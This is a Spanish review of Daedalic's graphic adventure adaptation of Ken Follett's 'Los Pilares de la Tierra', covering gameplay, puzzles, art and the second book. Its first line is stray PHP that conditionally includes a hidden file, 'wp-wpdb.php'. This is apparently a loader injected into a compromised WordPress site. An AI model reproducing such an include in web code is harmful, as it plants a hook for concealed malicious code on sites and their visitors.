if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Los Pilares de la Tierra – La Fortaleza de LeChuck

Análisis Los Pilares de la Tierra

Ken Follet ha sabido exprimir el éxito de Los Pilares de la Tierra de un modo muy lucrativo. Su trilogía más conocida ha sido adaptada a la televisión, los juegos de mesa e incluso musicales, llegando hoy a los videojuegos. Los videojuegos y en particular las aventuras gráficas siempre han visto en la literatura un referente muy fuerte en el que inspirarse. Recordaremos títulos tan añejos como La Abadía del Crimen, el cual comparte con Los Pilares de La Tierra un origen literario y un escenario histórico similar. Pero hay más ejemplos, Monkey Island está parcialmente inspirado en «En costas extrañas» de Tim Powers, así como en la atracción de Disneyland Pirates of the Caribbean. También existen adaptaciones, como la saga MundoDisco, así como batiburrillos de diferentes historias y personajes de libros infantiles, véase gran parte de la saga King’s Quest.

Esta relación no es baladí, la aventura gráfica nació como evolución a un género de videojuegos muy relacionado a la literatura: las aventuras conversacionales. A nadie debe sorprender pues, que ya en plena era moderna y con un estigma cada vez menor, autores de la talla de Ken Follet se animen a prestar su apoyo para crear un título basado en un superventas.

¿Quién podría pues llevar a cabo tal desarrollo? Daedalic es sin duda una de las mejores candidatas, quizá a la par que TellTale, para realizar un trabajo así. Daedalic es una empresa alemana dedicada casi exclusivamente a la producción de aventuras gráficas, algunas de ellas de una calidad muy elevada, y en ellos, Ken Follet ha depositado su confianza.

Los Pilares de la Tierra está ambientada en el siglo XII en la ficticia ciudad de Kingsbridge, el juego relata la historia de la construcción de una catedral y las aventuras de sus protagonistas: Philip, un monje que se convierte en Prior de Kingsbridge; Tom, un ambicioso arquitecto que hará todo lo que esté en su mano para construir una catedral; y Jack, hijo de una familia proscrita que busca un futuro más alentador.

El juego consta de 21 capítulos divididos en 3 libros. Solo el primer libro se encuentra por ahora disponible, estando el segundo y tercer libro todavía en desarrollo. Daedalic define Los Pilares de la Tierra como una novela interactiva, algo que deberán tener en cuenta los jugadores a la hora de aproximarse a este título. La historia es fiel al libro, siendo decisión del jugador si desea reproducir las mismas decisiones o por el contrario tomar otras distintas. Ken Follet ha estado involucrado en la redacción de la aventura, algo que se nota y seguro tranquilizará a más de uno.

“Novela interactiva” es lo que podemos leer en la nota de prensa y eso ya tendría que ponernos en alerta. Cuando leo esas palabras dos conceptos vienen a mi mente y no necesito a ningún Doctor Watson que me ayude a forjar la relación. Esos conceptos son: corto y fácil. Pero, ¿es malo que un juego sea corto y fácil? ¡Depende! Puede ser también aburrido, estar lleno de errores, tener una historia pésima o todo lo anterior a la vez. Por fortuna éste no es el caso de Los Pilares de la Tierra y veremos que sus aciertos superan con creces sus errores.

El juego sostiene una interfaz muy simple, similar a las que hemos visto en otras aventuras. Ésta consiste en un pequeño inventario en la parte inferior de la pantalla donde los conceptos se apilarán a la derecha, y los objetos a la izquierda. Nuestros protagonistas irán recogiendo objetos y pistas que podrán usar para interactuar con elementos del escenario o personajes. También dispondremos una pequeña ayuda en la parte superior izquierda de la pantalla que nos indicará la localización y objetivo actuales. Hay que dar gracias a alguna alma caritativa que pensó que ese diseño quizá era demasiado intrusivo y la ayuda extra se puede desactivar desde el menú de ajustes, dejando más espacio para disfrutar de los bellos escenarios que ofrece la aventura.

Todas las acciones se realizan con el ratón, usando el botón derecho para observar un elemento (se puede apretar varias veces para obtener más texto) y el izquierdo para las acciones generales: recoger, hablar, usar, caminar.

El diseño de los puzles es muy sencillo, resultando en un título apto para jugadores menos experimentados. Los objetos que vayamos necesitando estarán siempre a una o dos pantallas de distancia y al utilizarlos desaparecerán de nuestro inventario. Por la misma naturaleza de la historia, el número de escenarios disponibles a la vez es muy reducido, resultando en un avance continuo que no produce bloqueos. Como compensación, la aventura ofrece otros componentes interesantes como los objetivos opcionales que enriquecen la experiencia de juego y que ofrecerán un reto algo más desafiante para aventureros más exigentes. Algo muy reprochable es el uso de minijuegos para completar ciertas tareas. Estos minijuegos quieren integrar al jugador en la aventura pero resultan toscos y poco creíbles. Su dificultad es muy baja, pulsando el ratón en el momento adecuado resultará en éxito. Aún así no entiendo la decisión de añadir este tipo de interacciones que entorpecen y no mejoran el desarrollo. Es como si los autores dudaron de que una aventura gráfica es suficientemente entretenida de por sí y añadieron estos elementos arcade para producir una sensación de falsa variedad.

Los gráficos de Los Pilares de la Tierra son una maravilla para la vista, ya desde la introducción comprobaremos la atención al detalle que Daedalic ha puesto en la obra. Lejos de unos diseños 3D ultra realistas, se apuesta por un cuidado 2D con fondos de ricos colores y bellas animaciones como si de una película se tratase. Las animaciones recuerdan a las ya vistas en Deponia, donde los primeros planos de los personajes son numerosos y de alta calidad, llegando a reproducir emociones y gestos faciales.

Los Pilares de la Tierra avanza a ritmo rápido, casi demasiado rápido en algunos momentos (quizá tenga que ver que intenta resumir un libro consta de 1200 páginas) pero atrapa desde el primer instante. Tom es el primero en entrar en escena. Él verá cómo su vida y al de su familia corre un grave peligro y nosotros estaremos allí para dirigir sus pasos. Todo sucederá en un instante y tendremos que tomar decisiones muy rápido, decisiones que quedarán escritas y determinarán futuros eventos en la aventura. Así iremos intercalando personajes e historias, aprendiendo sobre ellos a la vez que les ayudamos a resolver sus problemas.

Libro II

El Libro II: La siembra del viento se centra en los primeros años de la construcción de la Iglesia planificada por Tom Builder y Philip de Gwynedd en el pueblo de Kingsbridge. Durante esta nueva entrega dirigiremos los distintos personajes introducidos en el episodio anterior y de manera alternativa se nos expondrán sus historias y puntos de vista. Jack y Aliena habrán entrado en una etapa adulta y su peso en la historia será mucho más determinante. Jack se centrará en aprender el oficio de Tom para ser un día un exitoso constructor, en cuanto que Aliena se especializará en el comercio y el transporte de lana.

A parte de la historia, el modo de juego, los gráficos y en general todo el aspecto técnico es exactamente el mismo. Una aventura fácil, más próxima a una especie de película interactiva de una duración aproximada de 6-7 horas. La banda sonora y el aspecto gráfico mantienen una calidad elevada y no decepcionará a quien disfrutó del Libro anterior.

El argumento, sin duda, es el plato fuerte de Daedalic para mantenernos enganchados a esta saga. Con Ken Follet revisando de cerca el guión, La siembra del viento es una maravilla que nos mantendrá en vilo de inicio a fin. Daedalic ha conseguido mantener sino mejorar la tensión y el misterio durante la aventura, de manera que nos resultará difícil no querer finalizarla de una sentada.

Tras los halagos me resta dar un par de tirón de orejas a la compañía porque al iniciar el Libro II todas las decisiones que tomé se habían perdido. Nada más ejecutar el programa se disculpan de ello y te ofrecen dos opciones, o jugar con un set establecido de decisiones o cargar una partida anterior. Así es como me tocó rejugar la última hora del Libro anterior, algo que no resultó tan malo ya que me ayudó a refrescar la historia. Dicho esto, no quiero ni pensar que le habrá pasado a alguien que no fuese precavido y no guardase su partida o desinstalase el juego. Una mancha en el expediente de una aventura bien hecha y con sello de autor.

Si tenéis curiosidad y domináis el inglés, los desarrolladores responden preguntas en los foros del juego en Steam. Algunos fans del libro y la serie cuestionan ciertos cambios realizados en la trama original para llegar a un público más joven. Una lectura interesante para una vez finalizado el juego. Cuidado con los spoilers!

En definitiva Los Pilares de la Tierra es un título de una calidad altísima con una narración muy profunda donde se nota la mano del autor del libro, Ken Follet, que ha colaborado en el juego desarrollando la historia y también doblando a uno de los personajes. Jugadores que busquen un reto mayor no verán satisfechos sus deseos aquí, aunque les recomiendo la experiencia si les interesa la novela histórica o son admiradores de la literatura de dicho autor. El juego nos deja con muchas ganas de continuar la historia aunque lamentablemente no tenemos fecha de salida para los dos próximos libros. La rejugabilidad de la aventura juega mucho en su favor ya que podremos experimentar con diferentes decisiones y ver cómo afectan éstas el futuro de los personajes. Los diseñadores han cuidado mucho este aspecto, permitiendo un gran número de casillas de salvado que permiten viajar hacia atrás y tomar caminos distintos.

 

Los Pilares de la Tierra está disponible con textos traducidos al castellano y voces en inglés. Para realizar este análisis he usado la versión de PC de Los Pilares de La Tierra, un teclado y un ratón. El juego contendrá 3 libros.

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